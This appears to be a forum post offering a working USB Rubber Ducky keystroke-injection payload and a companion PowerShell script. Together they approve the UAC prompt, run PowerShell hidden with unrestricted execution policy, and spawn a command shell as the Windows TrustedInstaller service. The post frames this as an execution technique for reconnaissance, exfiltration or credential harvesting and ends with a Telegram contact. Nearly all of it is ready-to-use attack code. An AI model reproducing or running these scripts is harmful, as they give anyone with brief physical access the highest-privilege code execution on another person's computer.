#1
the highest level of user-mode access possible in Windows
well this requires a usb rubber ducky , Execution is the method of either remotely or locally running code ? malicious or otherwise ? on a target computer. Execution is typically coupled with other techniques to carry out more complex tasks, like performing reconnaissance, exfiltration or credential harvesting. Execution may be ephemeral, or coupled with persistence techniques used to maintain remote access or continued code execution. See all execution payloads.

payload.txt
Code:
ATTACKMODE HID STORAGE DELAY 8000 REM --- REM USB Rubber Ducky label. REM --- DEFINE #RD_LABEL DUCKY REM --- REM TrustedInstaller initial command. REM --- DEFINE #TRUSTEDINSTALLER_COMMAND "WHOAMI /ALL" SAVE_HOST_KEYBOARD_LOCK_STATE IF ( $_CAPSLOCK_ON ) THEN CAPSLOCK DELAY 500 END_IF IF ( $_NUMLOCK_ON == FALSE ) THEN NUMLOCK DELAY 500 END_IF GUI r DELAY 2000 STRING CMD /K "MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR "#RD_LABEL"') DO @SET RD_LABEL=%d" DELAY 1000 CTRL-SHIFT ENTER DELAY 2000 ALT y DELAY 2000 STRINGLN powershell -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Unrestricted -File "%RD_LABEL%\TrustedInstaller.ps1" -Command #TRUSTEDINSTALLER_COMMAND RESTORE_HOST_KEYBOARD_LOCK_STATE

TrustedInstaller.ps1
Code:
Param ( [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [string] $Command ) If (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { $MODULE_NAME = "NtObjectManager" $MODULE_VERSION = "1.1.32" $NtObjectManager = Get-InstalledModule -Name $MODULE_NAME -ErrorAction SilentlyContinue If ($NtObjectManager -eq $null) { Try { Install-Module -Name $MODULE_NAME -RequiredVersion $MODULE_VERSION -Force } Catch { Write-Error "$_" } } Try { Import-Module NtObjectManager -Force } Catch { # If the import fails Write-Error "$_" } Try { $TrustedInstaller = Get-Service -Name "TrustedInstaller" -ErrorAction SilentlyContinue If ($TrustedInstaller) { C:\Windows\System32\sc.exe stop TrustedInstaller | Out-Null } C:\Windows\System32\sc.exe config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe" | Out-Null C:\Windows\System32\sc.exe start TrustedInstaller | Out-Null $TrustedInstaller = Get-NtProcess "TrustedInstaller.exe" -ErrorAction Stop New-Win32Process -CommandLine "C:\Windows\System32\cmd.exe /K ${Command}" -CreationFlags NewConsole -ParentProcess $TrustedInstaller | Out-Null } Catch { Write-Error "$_" } }

telegram : https://t.me/adaflcga